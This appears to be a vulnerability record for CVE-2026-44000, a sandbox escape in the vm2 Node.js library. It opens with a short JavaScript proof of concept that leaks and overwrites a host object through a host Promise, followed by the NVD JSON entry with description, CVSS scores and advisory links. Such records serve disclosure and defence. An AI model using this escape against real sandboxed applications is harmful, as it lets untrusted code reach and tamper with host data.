CVE-2026-44000

const {VM} = require('vm2'); const vm = new VM(); // Create a sensitive host object const sensitiveHostObj = { secret: 'This_is_host_secret' }; // Create a host Promise that resolves to the host object const hostPromise = Promise.resolve(sensitiveHostObj); // Expose the promise to the sandbox vm.run(` // The sandbox receives the promise hostPromise.then(leakedObj => { // Sandbox can now access the host object directly console.log('[+] Escaped Sandbox! Leaked Data:', leakedObj.secret); // Sandbox can mutate host object state leakedObj.secret = 'PWNED_BY_SANDBOX'; }); `);

{"cve": {"id": "CVE-2026-44000", "sourceIdentifier": "[email protected]", "published": "2026-05-13T18:16:16.590", "lastModified": "2026-05-14T15:35:36.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including performing identity checks using host-side WeakMap and mutating host object state from inside the sandbox. This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. This vulnerability is fixed in 3.11.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "3.11.0", "matchCriteriaId": "6DD48308-6219-4C66-9BE7-246EE56FB834"}]}]}], "references": [{"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-mpf8-4hx2-7cjg", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-mpf8-4hx2-7cjg", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}